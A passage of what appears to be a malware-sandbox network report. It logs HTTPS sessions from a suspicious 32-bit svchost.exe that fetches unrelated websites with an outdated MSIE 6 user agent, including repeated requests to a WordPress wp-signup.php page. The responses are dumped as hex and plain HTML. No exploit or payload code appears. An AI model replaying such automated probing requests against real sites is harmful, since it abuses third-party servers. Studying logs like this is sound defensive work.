topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:30 UTC	2552	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:30 UTC	2568	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.6	65221	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2467	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:30 UTC	2486	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:30 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:30 UTC	2486	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.6	65255	5.189.171.125	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2488	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.muhr-soehne.de
2023-03-10 06:56:30 UTC	2504	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:30 GMT Server: Apache/2.4.38 (Debian) Last-Modified: Thu, 02 Mar 2023 15:05:19 GMT Accept-Ranges: bytes Content-Length: 51841 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8
2023-03-10 06:56:30 UTC	2520	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 69 72 3d 22 6c 74 72 22 20 6c 61 6e 67 3d 22 64 65 22 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 21 2d 2d 20 0a 09 6d 61 64 65 20 62 79 20 50 53 56 6e 65 6f 0a 0a 09 54 68 69 73 20 77 65 62 73 69 74 65 20 69 73 20 70 6f 77 65 72 65 64 20 62 79 20 54 59 50 4f 33 20 2d 20 69 6e 73 70 69 72 69 6e 67 20 70 65 6f 70 6c 65 20 74 6f 20 73 68 61 72 65 21 0a 09 54 59 50 4f 33 20 69 73 20 61 20 66 72 65 65 20 6f 70 65 6e 20 73 6f 75 72 63 65 20 43 6f 6e 74 65 6e 74 20 4d 61 6e 61 67 65 6d 65 6e 74 20 46 72 61 6d 65 77 6f 72 6b 20 69 6e 69 74 69 61 6c 6c 79 20 63 72 65 61 74 65 64 20 62 79 20 4b 61 73 70 65 72 20 53 6b 61 61 72 68 6f 6a 20 Data Ascii: <!DOCTYPE html><html dir="ltr" lang="de"><head><meta charset="utf-8">... made by PSVneoThis website is powered by TYPO3 - inspiring people to share!TYPO3 is a free open source Content Management Framework initially created by Kasper Skaarhoj
2023-03-10 06:56:30 UTC	2536	IN	Data Raw: 20 20 20 20 20 20 20 56 65 72 73 63 68 6c 69 65 c3 9f 6d 61 73 63 68 69 6e 65 6e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 2f 6c 69 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6e 61 76 2d 69 74 65 6d 20 6c 61 79 6f 75 74 2d 30 20 20 22 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 76 65 72 73 63 68 6c 69 65 Data Ascii: Verschliemaschinen </a> </li> <li class="nav-item layout-0 "> <a href="/verschlie
2023-03-10 06:56:30 UTC	2569	IN	Data Raw: 66 72 61 6d 65 2d 6c 61 79 6f 75 74 2d 30 20 20 20 6d 74 2d 30 20 6d 62 2d 30 0a 20 20 20 20 0a 0a 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 6f 77 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6c 2d 78 6c 2d 33 20 63 6f 6c 2d 6c 67 2d 36 20 63 6f 6c 2d 6d 64 2d 36 20 63 6f 6c 2d 73 6d 2d 31 32 20 63 6f 6c 2d 31 32 20 6d 79 2d 34 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 65 72 76 69 63 65 62 6f 78 20 68 2d 31 30 30 20 62 67 2d 6c 69 67 68 74 2d 67 72 65 79 20 64 2d 66 6c 65 78 20 66 6c 65 78 2d 63 6f 6c 75 6d 6e 20 68 2d 31 30 30 20 77 2d 31 30 30 20 70 2d 33 20 22 3e 0a Data Ascii: frame-layout-0 mt-0 mb-0 "> <div class="row"> <div class="col-xl-3 col-lg-6 col-md-6 col-sm-12 col-12 my-4"> <div class="servicebox h-100 bg-light-grey d-flex flex-column h-100 w-100 p-3 ">
2023-03-10 06:56:30 UTC	2585	IN	Data Raw: 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 2d 63 65 6e 74 65 72 20 6d 79 2d 33 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 78 2d 30 20 6d 78 2d 6d 64 2d 35 20 6d 79 2d 32 20 6d 79 2d 6d 64 2d 30 22 20 69 74 65 6d 70 72 6f 70 3d 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 73 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 4c 69 73 74 49 74 65 6d 22 20 61 72 69 61 2d 63 75 72 72 65 6e 74 3d 22 70 61 67 65 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 Data Ascii: justify-content-center my-3"> <li class="mx-0 mx-md-5 my-2 my-md-0" itemprop="itemListElement" itemscope itemtype="https://schema.org/ListItem" aria-current="page"> <a hr

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.6	65282	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2504	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:31 UTC	2703	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=95 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:31 GMT Connection: close
2023-03-10 06:56:31 UTC	2704	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:31 UTC	2707	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:31 UTC	2715	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:31 UTC	2723	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:31 UTC	2731	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:31 UTC	2739	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:31 UTC	2747	IN	Data Raw: 66 6f 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 Data Ascii: form-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.6	50436	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	215	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:14 UTC	215	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:14 UTC	215	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.6	65365	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:30 UTC	2587	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:31 UTC	2752	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=94 Content-Length: 48940 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:31 GMT Connection: close
2023-03-10 06:56:31 UTC	2752	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:31 UTC	2754	IN	Data Raw: 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 63 68 27 20 68 72 65 66 3d 27 2f 2f 73 2e 77 2e 6f 72 67 27 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 44 61 74 61 66 6f 72 6d 20 2d 20 4d 61 6e 61 67 65 20 46 6f 72 6d 73 2c 20 44 65 76 69 63 65 73 20 26 61 6d 70 3b 20 44 61 74 61 46 6f 72 6d 20 26 72 61 71 75 6f 3b 20 46 65 65 64 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 Data Ascii: ww.google.com'/><link rel='dns-prefetch' href='//fonts.googleapis.com'/><link rel='dns-prefetch' href='//s.w.org'/><link rel="alternate" type="application/rss+xml" title="Dataform - Manage Forms, Devices & DataForm » Feed" href="https://dataf
